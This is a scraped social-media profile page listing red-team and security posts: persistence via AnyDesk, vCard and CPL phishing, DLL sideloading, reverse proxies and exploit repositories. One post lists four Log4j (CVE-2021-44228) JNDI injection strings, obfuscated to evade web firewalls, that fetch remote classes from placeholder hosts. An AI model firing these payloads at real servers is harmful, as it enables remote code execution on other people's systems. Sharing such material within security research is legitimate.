Pathocode @pathocode

localhost Joined October 2018

Tweets

27
Followers

128
Following

544
Likes

21

sn🥶vvcr💥sh @snovvcrash

3 years ago

[#HackTip ⚒] Looking for a legitimate way of achieving #persistence on Windows? How about #AnyDesk silent deployment? 😉

13 218 817 0 249

Download Image

Apache Log4j2 2.14.1 RCE (CVE-2021-44228) ‼️Bypass WAF 1. ${jndi:ldap://127.0.0.1:1389/ badClassName} 2. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc} 3. ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass} 4. ${jndi:rmi://adsasd.asdasd.asdasd}

17 437 1K 0 280

Joe Stocker @ITguySoCal

4 years ago

(1/2) TL;DR "DLL sideloading attack is the most successful attack as most EDRs fail to detect, let alone block, it." A scholarly and unbiased examination of how top EDR detects APT threats by @MDPIOpenAccess mdpi.com/2624-800X/1/3/…

8 200 510 0 135

Download Image

Mr.Un1k0d3r @MrUn1k0d3r

6 years ago

Procdump alternative that may come handy during #redteam github.com/Mr-Un1k0d3r/Mi… There is a C and a C# version that can be used with execute-assembly ❤

2 152 367 0 36

Chetan Nayak (Brute Ratel C4 Author) @NinjaParanoid

7 years ago

Finally built the proxmark3 portable and wireless. And here it goes: RpiZeroW + PM3 + PCB with 5volt 1.5 Amp battery support + 2500 mAh Battery which lasts 8 hours @herrmann1001. Not as small as @RfidGroup though #proxmark3 vimeo.com/331070259

3 12 64 0 4

Download Image

RFID Research Group @RfidGroup

7 years ago

BLE ! BLE! BLE! We are done with Proxmark3 with BLE! Now what is next on our bucketlist you want to see ?

6 36 136 0 4

Download Video

Pathocode @pathocode

7 years ago

Abusing #vcard #vcf file for #phishing #redteam #pentest

0 0 2 0 0

Download Gif

Pathocode @pathocode

7 years ago

#Phishing with malicious #CPL + MS Access - auto prompt the user to execute the payload. Great technique from @424f424f :) #redteam #pentest #cobaltstrike

1 27 51 0 2

Download Gif

CERT SocieteGenerale @CertSG

7 years ago

We finally published our Outlook addin to notify suspicious mails to security teams. It's of course linked to SwordPhish to monitor your awareness campaigns. github.com/certsocietegen…

1 134 206 0 10

[audible]blink @4lex

7 years ago

HoleySocks, a cross-platform reverse socks proxy, now rewritten as a go package so it can be imported into other projects. Even went and used it an a reverse shell/agent. #pivot #redteam #golang github.com/audibleblink/H… github.com/audibleblink/g…

1 69 111 0 8

Feross @feross

7 years ago

Detect pressed keys via microphone audio capture in real-time. Uses training data captured by typing first. Very neat! github.com/ggerganov/kbd-… Based on ideas in this classic traffic analysis paper: Timing Analysis of Keystrokes and Timing Attacks on SSH people.eecs.berkeley.edu/~daw/papers/ss…

39 2K 3K 0 220

Download Gif

Pathocode @pathocode

7 years ago

Not a silver bullet, but it is possible to weaponize #vCard vulnerability with Office Document. PoC. #redteam #phishing #pentest #cobaltstrike

1 12 16 0 0

Download Gif

Pathocode @pathocode

7 years ago

As a #redteam, we need to be one step ahead of the blue team. Therefore, our #phishing attacks must be more sophisticated in order keep up with the game. Using #vcard, to compromise endpoints. #pentest #cobaltstrike

4 42 80 0 4

Download Gif

Spiros Fraganastasis @m3g9tr0n

7 years ago

Loading a DLL from memory joachim-bauch.de/tutorials/load…

0 42 91 0 4

Will Schroeder @harmj0y

7 years ago

Active Directory forests are no longer a security boundary thanks to @tifkin_'s printer bug. Check out posts.specterops.io/not-a-security… for weaponization and mitigation details and @Cyb3rWard0g's post for detection guidance posts.specterops.io/hunting-in-act…

19 786 1K 0 138

Threatpost @threatpost

7 years ago

A #Gmail glitch allows a hacker to send anonymous emails. The trick could be weaponized for #phishing attacks that purport to be official warnings or system messages. threatpost.com/gmail-glitch-e…

0 62 43 0 2

Download Image

Niklas B @_niklasb

7 years ago

Here are some RCE & VM escape exploits that I have written this year: github.com/niklasb/sploits Amongst them some JSC bugs that found unfortunately untimely deaths